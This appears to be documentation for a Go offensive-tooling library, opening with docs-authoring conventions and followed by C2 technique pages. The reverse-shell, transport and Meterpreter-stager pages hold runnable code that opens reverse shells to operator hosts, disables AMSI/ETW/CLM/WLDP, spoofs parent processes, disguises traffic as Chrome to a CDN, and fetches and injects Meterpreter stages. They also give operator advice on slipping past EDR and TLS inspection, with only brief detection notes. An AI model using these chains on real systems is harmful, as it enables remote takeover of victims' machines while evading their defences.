4. MCP SSE streamable HTTP: the stdio MCP adapter (cmd/memscan-mcp) already speaks JSON-RPC 2.0. To expose it over network for remote Claude Code usage, add --sse mode that listens HTTP on a port, implementing the MCP SSE transport. ~100 LoC.

Documentation Conventions Skill

Apply this skill to all documentation work in this project. The methodology was decided 2026-04-27 and is the canonical source — older .md files that diverge are legacy and must be migrated, not perpetuated.

Surface (where docs live)

Hybrid model. /docs/**.md and */doc.go files are the canonical source of truth, browseable directly on GitHub. A CI job additionally generates a richer site on gh-pages (mdBook or Docusaurus) with full-text search, dark mode, and versioned snapshots.

• Anything that ships on pkg.go.dev (godoc) is godoc-rendered. Don't put GitHub-specific markdown in doc.go — write plain godoc that survives both surfaces.
• Anything in /docs/**.md may use full GFM + GitHub advanced formatting (Mermaid, alerts, math, collapsibles, tables, footnotes, task lists).
• The gh-pages site builds from /docs/**.md — never write content that only exists on the site. Source is markdown.

Audience paths (3 explicit roles)

The README and docs/index.md route readers via three role pages:

• docs/by-role/operator.md — red team / ops focus: chains, OPSEC, payload-ready snippets, deployment patterns.
• docs/by-role/researcher.md — security R&D focus: how it works at the kernel/runtime layer, paper references, MITRE/D3FEND mapping.
• docs/by-role/detection-eng.md — blue team focus: artifacts left, detection telemetry, EDR signatures, hardening recommendations.

Every technique page links back to one or more role pages via "See also". Every role page links forward to relevant technique pages. The tree is acyclic and traversable both ways.

Per-package docs (doc.go)

Required structure. Every public package MUST have a doc.go that matches this template (literal section headers, in this order):

// Package <name> <one-sentence purpose, ending with a period>.
//
// <intro paragraph: what problem it solves, who calls it, when to use it.
// 80–200 words, plain prose, no headers.>
//
// # MITRE ATT&CK
//
//   - T<id> (<full sub-technique name>)
//   - [more if applicable]
//
// # Detection level
//
// <one of: very-quiet | quiet | moderate | noisy | very-noisy>
//
// <one or two sentences on the artifacts left behind. Be concrete:
// syscalls invoked, registry keys touched, ETW providers triggered, etc.>
//
// # Example
//
// See [Example<First>] in <name>_example_test.go.
//
// # See also
//
//   - docs/techniques/<area>/<file>.md
package <name>

Detection level scale — pick exactly one bucket per package:

MITRE format — always T<id>(.<sub>)? (<full name>). Never bundle without the () form. Examples:

• T1003.001 (OS Credential Dumping: LSASS Memory) ✅
• T1003.001 — OS Credential Dumping: LSASS Memory ❌ (em-dash)
• T1071, T1573 ❌ (bundled, missing names)

Per-technique pages (docs/techniques/<area>/<file>.md)

Template — flexible, but API Reference is mandatory. Sections in the order listed. Omit a section if it has no content; never reorder.

1. # <Title> (H1, no subtitle).
2. Front-matter (YAML) — see Versioning below.
3. ## TL;DR — 3 lines max. What / why / when.
4. ## Primer — 100–200 words, beginner-accessible. Defines the problem space without code.
5. ## How It Works — diagrams + step list. Mermaid encouraged when it adds clarity.
6. ## API Reference — REQUIRED, homogenized format (see below).
7. ## Examples:
   • ### Simple — minimum-viable runnable snippet, ≤10 LOC.
   • ### Composed — combined with ≥1 other package (e.g., evasion + caller).
   • ### Advanced — chain ≥4 packages.
   • ### Complex — full end-to-end scenario, may link out to docs/examples/*.md.
8. ## OPSEC & Detection — artifacts left, defender vantage points, D3FEND counter-techniques tagged D3-XXX.
9. ## MITRE ATT&CK — mini-table:

   | T-ID | Name | Sub-coverage | D3FEND counter |
   |---|---|---|---|
   | T1003.001 | OS Credential Dumping: LSASS Memory | full | D3-PA |
   

10. ## Limitations — Windows version gates, admin/SYSTEM requirements, AV signatures encountered.
11. ## See also — sibling technique pages, doc.go anchor, external references (papers, blog posts).

Banned: "Compared to Other Implementations" sections. We don't benchmark against tooling we don't ship.

API Reference format (REQUIRED, homogeneous)

Each public exported symbol gets a fixed-shape entry:

### `Foo(arg Type) (Result, error)`

[godoc](https://pkg.go.dev/github.com/oioio-space/maldev/<path>#Foo)

<one-line summary, identical to first line of godoc>

**Parameters:**
- `arg` — what it represents, accepted ranges, who supplies it.

**Returns:**
- `Result` — meaning of the value.
- `error` — `<sentinel>` when X, wraps `<other>` when Y, nil on success.

**Side effects:** <if any, e.g. allocates RWX memory, writes to %TEMP%>.

**OPSEC:** <one-line summary of what this single call leaves behind>.

**Required privileges:** one of `unprivileged` / `medium-IL` /
`admin` / `SYSTEM` / `kernel`. Append the specific Windows
privileges this call needs (e.g. `SeDebugPrivilege`,
`SeLoadDriverPrivilege`) when applicable.

**Platform:** `windows` / `linux` / `cross-platform`. Add the
minimum build (e.g. `windows ≥ 10 1809`) when the call is
build-gated.

Privilege levels (closed set):

• unprivileged — runs as any logged-on interactive user, no UAC consent needed (e.g., reading own process memory, domain.Name).
• medium-IL — same as unprivileged but explicitly relies on the Medium integrity level (most user-mode primitives that touch HKCU but not HKLM).
• admin — High-IL token, post-UAC-consent or already elevated. Hostile UAC-bypass primitives target this state.
• SYSTEM — NT AUTHORITY\SYSTEM (winlogon-impersonation, service install, kernel-callback writes through BYOVD).
• kernel — needs a kernel R/W primitive (BYOVD via kernel/driver/*, or a future loaded-driver path).

Every package with public exports has a complete ## API Reference section with one entry per exported symbol. No exceptions.

Examples (example_test.go)

Mandatory — every public package. Tier names and what each demonstrates:

• Example<Func> (Simple) — bare API, ≤10 LOC. // Output: line where deterministic.
• Example<Pkg>_with<OtherPkg> (Composed) — 2-3 packages chained.
• Example<Pkg>_chain (Advanced) — ≥4 packages, end-to-end.
• Complex scenarios live in docs/examples/*.md as runnable narrative.

godoc renders example bodies regardless of //go:build gates. Tests gated by MALDEV_INTRUSIVE etc. still surface as examples on pkg.go.dev.

Mermaid usage

Use Mermaid for:

• Flowcharts — architecture, dependency layers, decision trees.
• Sequence diagrams — technique execution sequences (e.g., AMSI patch resolution, sleepmask state transitions).
• State diagrams — multi-phase techniques (sleepmask Idle/Encrypted/ Sleeping/Decrypted/Active, herpaderping write/replace/run/restore).
• Class diagrams — type/interface relationships (e.g., Caller interface implementations).
• Mind maps — MITRE T-ID hierarchy in docs/mitre.md.

Default to Mermaid over ASCII art when both work. Keep diagrams under 25 nodes; split into linked sub-diagrams beyond that.

Example syntax for sequence:

sequenceDiagram
    Implant->>amsi: PatchScanBuffer(nil)
    amsi->>ntdll: NtProtectVirtualMemory(RWX)
    amsi->>amsi.dll: write 31 C0 C3
    amsi->>ntdll: NtProtectVirtualMemory(RX)
    amsi-->>Implant: original 3 bytes

Mermaid 11.2.0 strict-mode rules

mdbook-mermaid pins Mermaid 11.2.0 (see book.toml). Its parser is stricter than older versions; the following patterns break the gh-pages build silently (diagram renders as raw code):

• Quote multi-word participant/actor aliases. Bare participant X as STA COM apartment parses the alias as STA only and errors on the rest. Use participant X as "STA COM apartment". Same rule for subgraph titles in flow diagrams.
• Use %% for diagram comments, not # or //.
• Avoid the Unicode em-dash — inside message text. ASCII -- or - works across themes. Same for "smart quotes": use ASCII " and '.
• Self-loops (Actor->>Actor: msg) are fine; nested loop / alt / opt blocks must close with end.
• note over X,Y: text requires a comma between actors with no leading space.

When in doubt, quote — it's never wrong to quote.

GFM features to use

Reference: GitHub advanced formatting, GFM spec.

Always use

Conditional / niche

GitHub-platform features (commit messages & PRs only)

These are not for docs in /docs, but they're part of the project's authoring conventions and listed here so contributors know to use them.

Not used in this project

Banned: images of code (always use code blocks); free-form **Note:** prefixed paragraphs (use Alerts); raw <script>, <iframe>, <style> (stripped by GitHub anyway).

README structure (root)

Length budget: ≤ 250 lines.

1. # maldev + 1-line tagline.
2. Badges (Go version, license, MITRE technique count, test coverage).
3. ## What is this? — ≤10 lines pitch covering audience, scope, and what makes it different.
4. ## Install — ≤5 lines.
5. ## Quick start — ≤30 lines, minimal runnable example.
6. ## Where to start — explicit role-based and topical entry points:

   - **Operator** → [docs/by-role/operator.md](...)
   - **Researcher** → [docs/by-role/researcher.md](...)
   - **Detection engineer** → [docs/by-role/detection-eng.md](...)
   
   Or browse:
   - **By technique area** → [docs/index.md](...)
   - **By MITRE ATT&CK ID** → [docs/mitre.md](...)
   - **API reference** → pkg.go.dev/github.com/oioio-space/maldev
   

7. ## Package map — ≤30 lines, 2-column tree (category → 5 packages max with one-liner). Detailed flat list lives in docs/index.md.
8. ## Build — ≤10 lines.
9. ## Acknowledgments, ## License.

docs/index.md (navigation spine)

Required sections:

1. By role — pointer to the 3 role pages.
2. By technique area — 11 areas, each linking to docs/techniques/<area>/README.md.
3. By MITRE ATT&CK ID — reverse-index, auto-generated.
4. By package — flat alphabetical table of all public packages, auto-generated.

Auto-generation

cmd/docgen/main.go (to be added) walks go list ./..., parses doc.go for the structured fields (MITRE T-IDs, Detection level, summary), and regenerates:

• README.md — Package map table.
• docs/index.md — "By package" + "By MITRE ATT&CK ID" sections.
• docs/mitre.md — full MITRE table.

Pre-commit hook runs cmd/docgen and fails the commit on diff. CI re-checks. Tables are read-only handcraft-wise — edit the source doc.go, regenerate.

Narrative content (per-technique markdown, role pages, README intro, guides under docs/*.md) stays manual.

Versioning (YAML front-matter)

Every docs/**.md page starts with:

---
package: github.com/oioio-space/maldev/<area>/<pkg>
last_reviewed: 2026-04-27
reflects_commit: <short-sha>
---

last_reviewed is bumped by a pre-commit hook whenever the matching *.go files change. reflects_commit is the SHA at the time of last review. A six-month sweep flags pages with last_reviewed > 180 days ago.

README.md and docs/index.md use the same front-matter (package: is omitted for these multi-package documents).

Voice and style

• Voice: active English. "The implant calls X. The library returns Y." Avoid "you/we/our".
• Tense: present tense for current behavior ("The patch returns 3 bytes"). Past tense for narrating runs/incidents ("The test failed on Win11 24H2 build 26100").
• Person: prefer named entity ("the operator", "the implant") over pronouns. Acceptable third-person impersonal ("the function").
• Code references: backticks for funcName, varName, Pkg.Func. Italics for concepts, bold for key concepts (sparingly, ≤2 per paragraph).
• Numbers: Arabic 1–9 inline; words for ten+ in prose ("four packages"); Arabic always for technical counts ("180 packages", "T1003.001").
• Acronyms: spell out first occurrence per page. LSASS (Local Security Authority Subsystem Service) then plain LSASS thereafter.
• Cross-references: link first mention of every package to its godoc. Subsequent mentions plain package.
• External resources: prefer permanent links (web.archive.org, paper DOIs, immutable GitHub blob URLs with SHA).

Migration order

Top-down, demonstrator-first, then sweep:

1. New root README.md + docs/index.md + 3 docs/by-role/*.md pages. Land first to give immediate readability impact.
2. One demonstrator technique area — completely refactored with the new template, all packages have example_test.go. Acts as the reference for subsequent areas. Suggested: cleanup/* (small, well-bounded, mix of simple and complex).
3. cmd/docgen + pre-commit hook + CI gh-pages workflow. Once these exist, the autogen tables are live for any new doc.
4. Remaining technique areas, one PR per area: c2, crypto+encode+hash, evasion, collection, credentials, inject, pe, persistence, process, recon, runtime, win.
5. docs/architecture.md, docs/getting-started.md, docs/mitre.md (regenerated), docs/coverage-workflow.md (revised), docs/testing.md (revised).
6. Final pass: cross-link audit, breadcrumb uniformity, dead-link sweep.

Pre-commit checks (mandatory)

The pre-commit-checks skill is extended to include:

1. cmd/docgen --check — autogen tables are up to date.
2. Markdown link checker (e.g., lychee or markdown-link-check) — no dead links.
3. doc.go linter — every public package has a doc.go matching the template (MITRE section + Detection level + Example reference).
4. last_reviewed bump — front-matter is updated when the corresponding *.go files change.
5. Per-tier example presence — every public package has at least Example<Func> in <name>_example_test.go.

CI re-runs these checks on every PR.

Rules of engagement

• Never write a documentation file from memory of how things "used to be". Always grep the source first.
• Never edit a generated table by hand. Edit the source doc.go or the generator.
• Always add the role-page link "See also" entry when creating or editing a technique page.
• Always add an example_test.go when adding a new public package. No exceptions.
• Always front-matter every new docs/**.md file.
• When in doubt about Mermaid vs prose: try Mermaid; if it's > 25 nodes, split or fall back to prose with a screenshot.

C2 techniques

← maldev README · docs/index

The c2/* package tree is the implant's outbound communication layer plus the operator's listener side. Six sub-packages compose into a complete reverse-shell / staging / multi-session stack:

flowchart LR
    subgraph implant [Implant side]
        S[c2/shell<br>reverse shell]
        M[c2/meterpreter<br>MSF stager]
    end
    subgraph wire [Wire]
        T[c2/transport<br>TCP / TLS / uTLS]
        NP[c2/transport/namedpipe<br>SMB pipes]
        Cert[c2/cert<br>mTLS certs + pinning]
        T -.uses.-> Cert
    end
    subgraph operator [Operator side]
        MC[c2/multicat<br>multi-session listener]
    end
    S --> T
    S --> NP
    M --> T
    T --> MC
    NP --> MC

Packages

Quick decision tree

MITRE ATT&CK

See also

• Operator path: build a reliable shell
• Detection eng path: C2 telemetry
• evasion — apply patches before the shell connects.
• useragent — pair with HTTP transports for realistic User-Agent headers.
• inject — stage execution surface for c2/meterpreter.

Reverse shell

← c2 index · docs/index

TL;DR

Implant calls home over any c2/transport and pipes a local interpreter (cmd.exe or /bin/sh) over the connection. The loop reconnects on drop with configurable retry count and back-off delay. Unix path allocates a PTY for full interactive use; Windows path uses direct cmd.exe I/O and optionally patches AMSI / ETW / CLM / WLDP + disables PowerShell history before the shell starts.

Primer

Network firewalls typically allow outbound connections and block inbound ones, so a "reverse" shell calls out from the target to the operator. The operator runs a listener; the implant runs a short program that opens an outbound socket, fork-execs a local interpreter, and wires the interpreter's stdio to the socket.

Two common failure modes need explicit handling. Connections drop — the package wraps the connect / pipe loop in an automatic reconnect loop with configurable retry count and delay. Interpreter behaviour on Windows differs from Unix — Unix needs a PTY for vim / top / job control to work; Windows needs no PTY but does need careful stdio handling. The package abstracts both differences behind a single Shell type.

The Windows code path also exposes optional defence-patching: AMSI disable (so PowerShell stages survive scanning), ETW patching (so provider-based EDRs go quiet), CLM bypass (Constrained Language Mode restrictions disabled), WLDP patching (Windows Lockdown Policy relaxed), and PowerShell history disable (so Get-History post-mortem returns nothing).

How it works

stateDiagram-v2
    [*] --> Idle
    Idle --> Connecting : Start(ctx)
    Connecting --> Running : Connect OK
    Connecting --> Backoff : Connect fail
    Backoff --> Connecting : delay elapsed
    Running --> Backoff : transport drop
    Running --> Stopping : Stop()
    Backoff --> Stopping : Stop()
    Stopping --> [*] : Wait()

The Shell runs a strict state machine — Start is rejected on a running shell; Stop is rejected on an idle one. Transitions are mutex-guarded.

sequenceDiagram
    participant Op as "Operator listener"
    participant Imp as "Implant"
    participant Sh as "Local interpreter"

    loop until Stop or max retries
        Imp->>Op: transport.Connect()
        alt success
            Imp->>Sh: spawn cmd.exe / /bin/sh (PTY on Unix)
            Sh-->>Imp: stdio
            par implant→operator
                Imp->>Op: copy(stdin → socket)
            and operator→implant
                Op->>Imp: copy(socket → stdout)
            end
            Note over Imp: socket dropped<br>or Stop()
            Imp->>Sh: kill child
        else fail
            Imp->>Imp: backoff(delay)
        end
    end

API Reference

shell.New(trans transport.Transport, cfg *Config) *Shell

godoc

Construct a Shell over the supplied transport. cfg == nil selects DefaultConfig().

shell.DefaultConfig() *Config

godoc

Defaults: 5 reconnect attempts, 3 s back-off, no defence patching, PTY enabled on Unix.

(*Shell).Start(ctx context.Context) error

godoc

Run the connect / pipe / reconnect loop. Returns when ctx is cancelled, Stop is called, or MaxRetries is exceeded.

(*Shell).Stop() error

godoc

Request graceful shutdown. Pair with Wait to block until the loop exits.

(*Shell).Wait()

godoc

Block until Start returns.

(*Shell).IsRunning() bool / (*Shell).CurrentPhase() Phase

godoc

State inspection helpers.

shell.PatchDefenses() error (Windows)

godoc

Apply the AMSI / ETW / CLM / WLDP / PS history patches in one call. Idempotent. Use before Start so the spawned cmd.exe / powershell.exe inherits the patched ntdll.

shell.NewPPIDSpoofer() / (*PPIDSpoofer).SysProcAttr() (Windows)

godoc

Build a *syscall.SysProcAttr whose ParentProcess field points at a chosen target (default: explorer.exe, services.exe, RuntimeBroker.exe). Apply on the exec.Cmd the shell spawns to make process-tree telemetry show the spoofed parent.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

Composed (TLS + cert pin)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

const operatorPin = "AB:CD:..." // SHA-256

tr := transport.NewTLS("operator.example:8443", 10*time.Second, "", "",
    transport.WithTLSPin(operatorPin))
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

Advanced (defence patching + PPID spoof + uTLS)

import (
    "context"
    "os/exec"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

_ = shell.PatchDefenses()

spoof := shell.NewPPIDSpoofer()
if err := spoof.FindTargetProcess(); err == nil {
    // The spoofer publishes a SysProcAttr the shell layer applies
    // to the spawned cmd.exe.
    _ = spoof
}

tr := transport.NewUTLS("operator.example:443", 10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint("AB:CD:..."))

cfg := shell.DefaultConfig()
cfg.MaxRetries = 100
cfg.RetryDelay = 30 * time.Second

sh := shell.New(tr, cfg)
_ = sh.Start(context.Background())
sh.Wait()
_ = exec.Command // silence unused import in extracted snippet

Complex (full chain — evade + spoof + uTLS + reconnect forever)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

_ = evasion.ApplyAll(preset.Stealth(), nil) // AMSI/ETW/CLM/WLDP/...
_ = shell.PatchDefenses()                   // belt + braces

tr := transport.NewUTLS("operator.example:443", 10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint("AB:CD:..."))

cfg := shell.DefaultConfig()
cfg.MaxRetries = 0 // 0 = unlimited
cfg.RetryDelay = 60 * time.Second

sh := shell.New(tr, cfg)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
_ = sh.Start(ctx)
sh.Wait()

See ExampleNew in shell_example_test.go.

OPSEC & Detection

D3FEND counters:

• D3-OCA — outbound-connection profiling.
• D3-PSA — cmd.exe parentage and command-line analysis.
• D3-NTA — TLS handshake + content metadata.

Hardening for the operator: prefer uTLS over plain TLS; pair PatchDefenses and PPID spoofing; randomise RetryDelay with random.Duration; fold the shell into a longer-lived host process that legitimately spawns command interpreters (maintenance scripts, build agents).

MITRE ATT&CK

Limitations

• Reverse shells are inherently noisy. No amount of jitter defeats a determined defender with full network visibility. Use uTLS + malleable profiles and accept that the shell is a short-lifetime tool.
• PatchDefenses is best-effort. AMSI/ETW patches survive within the current process only. Spawned children inherit patched ntdll; re-spawned shells from a different host process do not.
• PTY only on Unix. Windows lacks a true PTY — interactive applications (vim, full-screen TUIs) misbehave.
• PPID spoof requires admin or specific process ACLs. Some targets refuse cross-session parent pinning even from elevated processes.

See also

• Transport — bytes-on-wire layer.
• Multicat — operator listener.
• Malleable profiles — HTTP-shaped variant.
• evasion/preset — apply before Start.
• process/spoofparent — alternative PPID spoofing implementation outside the shell package.

Transport (TCP / TLS / uTLS)

← c2 index · docs/index

TL;DR

Pluggable network layer behind every reverse shell or stager. Three flavours: raw TCP, TLS with optional SHA-256 fingerprint pinning, and uTLS that emits a TLS ClientHello byte-for-byte identical to Chrome / Firefox / iOS Safari (defeats JA3/JA4-based detection). Pair with c2/cert to generate the operator's mTLS material and pin it on the implant side.

Primer

Network-layer detection of C2 splits into two camps. The first reads bytes — payload signatures, cleartext shell prompts, beacon intervals. TLS defeats this layer for any well-behaved configuration. The second reads metadata — TLS handshake fingerprints (JA3/JA4), certificate properties, SNI patterns, ALPN choices. Go's stdlib TLS emits a fingerprint that is unmistakably "Go program, not a browser", and a self-signed cert without a chain to a public CA is its own flag.

This package addresses both. The TLS transport handles encryption plus optional certificate pinning — the implant refuses to talk to anyone whose certificate hash does not match a hard-coded value, so any TLS-inspection middlebox that re-signs traffic with a corporate CA is dropped. The UTLS transport replaces Go's TLS handshake with refraction-networking/utls, which mimics real browser ClientHello bytes — the network monitor sees "Chrome 124 connecting to a CDN", not "Go program with a Go-fingerprint ClientHello".

How it works

flowchart TD
    Pick{Config.UseTLS / UseUTLS} -->|raw| TCP[TCP transport]
    Pick -->|TLS| TLS[TLS transport<br>+ optional cert pin]
    Pick -->|uTLS| UT[uTLS transport<br>JA3 profile pinned]
    TCP --> Wire((wire))
    TLS --> Wire
    UT --> Wire
    Wire -->|defenders see| NetMon[network monitor<br>DPI + JA3 + cert]

All transports implement the same five-method Transport interface:

type Transport interface {
    Connect(ctx context.Context) error
    Read(p []byte) (int, error)
    Write(p []byte) (int, error)
    Close() error
    RemoteAddr() net.Addr
}

The Listener interface is the operator-side counterpart, used by c2/multicat to accept agents.

TLS fingerprint pinning

sequenceDiagram
    participant Imp as "Implant"
    participant MITM as "TLS-inspection proxy"
    participant Op as "Operator handler"

    Imp->>MITM: ClientHello
    MITM->>Op: ClientHello (re-originated)
    Op-->>MITM: ServerHello + cert (operator)
    MITM-->>Imp: ServerHello + cert (proxy CA-signed)
    Imp->>Imp: verifyFingerprint(cert) → mismatch
    Imp->>MITM: TLS abort

Config.PinSHA256 (or WithUTLSFingerprint(...) for the uTLS variant) holds the operator's certificate hash. The implant rejects any certificate whose hash does not match — even if the corporate TLS-inspection CA is in the system trust store.

API Reference

transport.Transport

godoc

The five-method interface every transport implements.

transport.New(cfg *Config) (Transport, error)

godoc

Factory. Picks TCP or TLS based on Config.UseTLS. uTLS and malleable variants have dedicated constructors.

transport.NewTCP(address string, timeout time.Duration) *TCP

godoc

Raw TCP transport with Connect dial timeout.

transport.NewTLS(address, timeout, certPath, keyPath string, opts ...TLSOption) *TLS

godoc

TLS over TCP. Optional TLSOptions set client cert, skip-verify, and SHA-256 server-cert pin.

transport.NewUTLS(address string, timeout time.Duration, opts ...UTLSOption) *UTLS

godoc

uTLS over TCP. Combines a JA3 profile, an SNI, and an optional pin.

transport.JA3Profile and WithJA3Profile

godoc

Enum picking which browser to mimic (HelloChrome_Auto, HelloFirefox_Auto, HelloIOS_Auto, HelloRandomized).

transport.NewTCPListener(addr string) (Listener, error)

godoc

Operator-side listener factory. Pair with c2/multicat.

cert.Generate(cfg *Config, certPath, keyPath string) error

godoc

Generate a self-signed certificate + RSA private key in PEM at the given paths.

cert.Fingerprint(certPath string) (string, error)

godoc

Compute SHA-256 hex digest of the leaf certificate. Hard-code the output into the implant's PinSHA256.

Examples

Simple

Plain TCP for a localhost or already-tunnelled scenario:

tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
if err := tr.Connect(context.Background()); err != nil {
    return err
}
_, _ = tr.Write([]byte("hello"))

Composed (TLS + cert pin)

Operator generates a cert and computes its fingerprint:

import "github.com/oioio-space/maldev/c2/cert"

_ = cert.Generate(cert.DefaultConfig(), "server.crt", "server.key")
fp, _ := cert.Fingerprint("server.crt")
fmt.Println("pin:", fp) // → embed in implant

Implant pins it:

tr := transport.NewTLS(
    "operator.example:8443",
    10*time.Second,
    "", "", // no client cert
    transport.WithTLSPin(fp),
)
_ = tr.Connect(context.Background())

Any TLS-inspection proxy that re-signs the certificate fails the pin check.

Advanced (uTLS with Chrome JA3 + SNI)

tr := transport.NewUTLS(
    "operator.example:443",
    10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint(fp),
)
_ = tr.Connect(context.Background())

Network monitor sees a Chrome TLS handshake to a CDN; the SNI hides the real destination behind a benign-looking name.

Complex (full stack: cert + uTLS + shell + evasion)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

const operatorPin = "AB:CD:..." // SHA-256 hex

_ = evasion.ApplyAll(preset.Stealth(), nil)

tr := transport.NewUTLS(
    "operator.example:443",
    10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint(operatorPin),
)

sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

OPSEC & Detection

D3FEND counters:

• D3-NTA — JA3 / SNI / cert-property correlation.
• D3-DNSTA — DNS-resolution patterns ahead of C2 connect.
• D3-NTPM — egress proxy enforcement.

Hardening for the operator: prefer uTLS over plain TLS; pick an SNI that resolves on the actual CDN and use a matching IP; rotate certificates between campaigns; combine with malleable HTTP profiles for traffic that survives even content inspection.

MITRE ATT&CK

Limitations

• Pin must travel with the implant. A hard-coded SHA-256 in the binary is recoverable by static analysis. Prefer build-time injection via //go:embed from a per-campaign cert.
• uTLS adds binary weight. ~500 KB of crypto + parser code. For shellcode-tier implants, fall back to TLS with pinning.
• JA3 profiles age. Browser TLS handshakes evolve; refresh the uTLS dependency every few months and verify the chosen profile is still indistinguishable from current Chrome / Firefox.
• Pin failure is loud. Connection abort with a zero-length read is itself a signal. Expect that the campaign is burned the moment the corporate proxy starts rewriting traffic.

See also

• Reverse shell — primary consumer of the transport layer.
• Meterpreter — pulls stages over Transport.
• Malleable profiles — HTTP-shaped variant on top of any transport.
• Named pipe — local IPC alternative on Windows.
• useragent — pair with HTTP transports for realistic User-Agent headers.
• refraction-networking/utls — upstream of NewUTLS.

Meterpreter stager

← c2 index · docs/index

TL;DR

Pulls a second-stage Meterpreter payload from a Metasploit multi/handler over TCP / HTTP / HTTPS and executes it in-process. Config.Injector overrides the default self-injection with any inject.Injector — Early Bird APC into a sacrificial child, indirect syscalls, decorator middleware, automatic fallback, the lot. Linux uses an ELF wrapper that requires the live socket fd; setting Injector on Linux is rejected.

Primer

Metasploit's Meterpreter is the canonical post-exploitation toolkit. It is too big to embed (~hundreds of KB), so attacks split it in two: a stager small enough to fit in a shellcode payload or a Go binary, and a stage (the full Meterpreter DLL or ELF) fetched at runtime over the network. The stager opens a connection to the handler, reads the stage as raw bytes, copies it into executable memory, and jumps to the entry point.

Two parts of that flow are worth abstracting. First, the fetch is identical across Meterpreter implementations — connect, read four length bytes, read the stage, hand the buffer to the executor. Second, the execute is the most variable: a real engagement uses the inject package's full surface (Early Bird APC, indirect syscalls, XOR encoding, CPU delay) to defeat host-side telemetry. The package exposes a clean Config.Injector knob so the same stager works across stealth tiers.

The HTTP / HTTPS variants implement Metasploit's URI-checksum format expected by the handler (/<8 random chars> with a checksum byte). HTTPS supports InsecureSkipVerify for self-signed handlers and a configurable timeout.

How it works

sequenceDiagram
    participant Imp as "Implant (Stager)"
    participant H as "MSF multi/handler"

    Imp->>H: connect (TCP / HTTP GET / HTTPS GET)
    H-->>Imp: stage length (4 bytes)
    Imp->>H: read stage
    H-->>Imp: stage bytes (~200 KB DLL or ELF)

    alt Config.Injector set (Windows)
        Imp->>Imp: inj.Inject(stage)
    else default self-injection
        Imp->>Imp: VirtualAlloc(RW) + RtlMoveMemory(stage)
        Imp->>Imp: VirtualProtect(RX) + CreateThread
    end

    Note over Imp: Meterpreter session live on the same TCP / HTTPS connection

API Reference

meterpreter.Transport

godoc

Enum: TCP, HTTP, HTTPS. Selects the wire protocol.

meterpreter.Config

godoc

type Config struct {
    Transport   Transport
    Host        string
    Port        string
    Timeout     time.Duration
    TLSInsecure bool          // HTTPS only
    Injector    inject.Injector // optional, Windows-only
}

meterpreter.NewStager(cfg *Config) *Stager

godoc

Construct a stager from the config.

(*Stager).Stage(ctx context.Context) error

godoc

Fetch and execute the stage. Blocks until the connection closes (or the spawned thread exits, depending on the executor). On Linux, returns an error if cfg.Injector != nil.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/meterpreter"
)

cfg := &meterpreter.Config{
    Transport: meterpreter.TCP,
    Host:      "192.168.1.10",
    Port:      "4444",
    Timeout:   30 * time.Second,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Composed (HTTPS + InsecureSkipVerify)

cfg := &meterpreter.Config{
    Transport:   meterpreter.HTTPS,
    Host:        "operator.example",
    Port:        "8443",
    Timeout:     30 * time.Second,
    TLSInsecure: true,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Advanced (custom injector — Early Bird APC + indirect syscalls + XOR)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/meterpreter"
    "github.com/oioio-space/maldev/inject"
)

inj, _ := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\notepad.exe`).
    IndirectSyscalls().
    WithFallback().
    Use(inject.WithXORKey(0x41)).
    Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
    Create()

cfg := &meterpreter.Config{
    Transport: meterpreter.TCP,
    Host:      "192.168.1.10",
    Port:      "4444",
    Timeout:   30 * time.Second,
    Injector:  inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Complex (remote inject into existing PID + HTTPS staging)

import "github.com/oioio-space/maldev/inject"

inj, _ := inject.Build().
    Method(inject.MethodCreateRemoteThread).
    TargetPID(1234).
    IndirectSyscalls().
    WithFallback().
    Create()

cfg := &meterpreter.Config{
    Transport:   meterpreter.HTTPS,
    Host:        "operator.example",
    Port:        "8443",
    Timeout:     30 * time.Second,
    TLSInsecure: true,
    Injector:    inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

See ExampleNewStager in meterpreter_example_test.go.

OPSEC & Detection

D3FEND counters:

• D3-OCA — outbound-connection profiling.
• D3-FCR — YARA rules on the unpacked stage.

Hardening for the operator: always set Config.Injector for Windows engagements; combine with c2/transport uTLS + cert pinning; use a payload encryptor (Veil, ScareCrow, or crypto.EncryptAESGCM on a custom stage) so the in-memory bytes do not match Meterpreter's public reflective-DLL signature.

MITRE ATT&CK

Limitations

• Linux Injector unsupported. The ELF wrapper protocol needs the live socket fd; Stage returns an error if cfg.Injector != nil on Linux.
